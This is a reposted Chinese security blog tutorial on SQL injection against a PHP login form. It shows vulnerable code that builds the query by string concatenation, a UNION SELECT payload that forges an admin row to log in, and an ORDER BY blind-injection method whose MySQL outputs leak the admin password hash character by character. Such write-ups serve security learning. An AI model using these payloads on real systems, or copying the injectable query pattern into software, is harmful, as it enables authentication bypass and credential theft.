1. 程式人生 > >利用order by 進行盲註

利用order by 進行盲註

sql ive index.php md5 strong password 作者 err 0.00

0x01 利用場景

登錄代碼:

$username = $_POST[‘username‘];
$password = $_POST[‘password‘];
if(filter($username)){
    //過濾括號
}else{
    $sql="SELECT * FROM admin WHERE username=‘".$username."‘";
    $result=mysql_query($sql);
    @$row = mysql_fetch_array($result);
    if(isset($row) && $row[‘username‘] === ‘admin‘){
        if ($row[‘password‘]===md5($password)){
            //Login successful
        }else{
            die("password error!");
        }
    }else{
        die("username does not exist!");
    }
}

有下列表:

mysql> select * from admin where username=‘admin‘;
+----+----------+----------------------------------+
| id | username | password                         |
+----+----------+----------------------------------+
|  1 | admin    | 51b7a76d51e70b419f60d3473fb6f900 |
+----+----------+----------------------------------+
1 row in set (0.00 sec)

這樣一個一般的場景,用戶登錄時,用戶名錯誤提示:用戶名錯誤,用戶名正確密碼錯誤提示:密碼錯誤

0x02 UNION SELECT登錄

看到這個邏輯第一想法肯定是直接利用union select偽造密碼登錄:

username=‘ union select 1,‘admin‘,‘c4ca4238a0b923820dcc509a6f75849b&password=1

mysql> select * from admin where username=‘‘ union select 1,‘admin‘,‘c4ca4238a0b923820dcc509a6f75849b‘;
+----+----------+----------------------------------+
| id | username | password                         |
+----+----------+----------------------------------+
|  1 | admin    | c4ca4238a0b923820dcc509a6f75849b |
+----+----------+----------------------------------+
1 row in set (0.00 sec)

但是想得到password怎麽辦

0x03 利用order by起飛

由登錄提示可獲取一個bool條件,如何用order by利用這個bool條件

mysql> select * from admin where username=‘‘ or 1 union select 1,2,‘5‘ order by 3;
+----+----------+----------------------------------+
| id | username | password                         |
+----+----------+----------------------------------+
|  1 | 2        | 5                                |
|  1 | admin    | 51b7a76d51e70b419f60d3473fb6f900 |
+----+----------+----------------------------------+
2 rows in set (0.00 sec)

mysql> select * from admin where username=‘‘ or 1 union select 1,2,‘6‘ order by 3;
+----+----------+----------------------------------+
| id | username | password                         |
+----+----------+----------------------------------+
|  1 | admin    | 51b7a76d51e70b419f60d3473fb6f900 |
|  1 | 2        | 6                                |
+----+----------+----------------------------------+
2 rows in set (0.01 sec)

mysql> select * from admin where username=‘‘ or 1 union select 1,2,‘51‘ order by 3;
+----+----------+----------------------------------+
| id | username | password                         |
+----+----------+----------------------------------+
|  1 | 2        | 51                               |
|  1 | admin    | 51b7a76d51e70b419f60d3473fb6f900 |
+----+----------+----------------------------------+
2 rows in set (0.00 sec)

mysql> select * from admin where username=‘‘ or 1 union select 1,2,‘52‘ order by 3;
+----+----------+----------------------------------+
| id | username | password                         |
+----+----------+----------------------------------+
|  1 | admin    | 51b7a76d51e70b419f60d3473fb6f900 |
|  1 | 2        | 52                               |
+----+----------+----------------------------------+
2 rows in set (0.00 sec)

通過逐位判斷便可得到password

顯然此方法在實際中使用的不多,但在一些特定的環境中也許會用到,比如實驗環境,如果過濾了括號,其他盲註基本上就是廢了,便可利用order by進行註入。

著作權歸作者所有。
商業轉載請聯系作者獲得授權,非商業轉載請註明出處。
作者:p0
鏈接:http://p0sec.net/index.php/archives/106/
來源:http://p0sec.net/

利用order by 進行盲註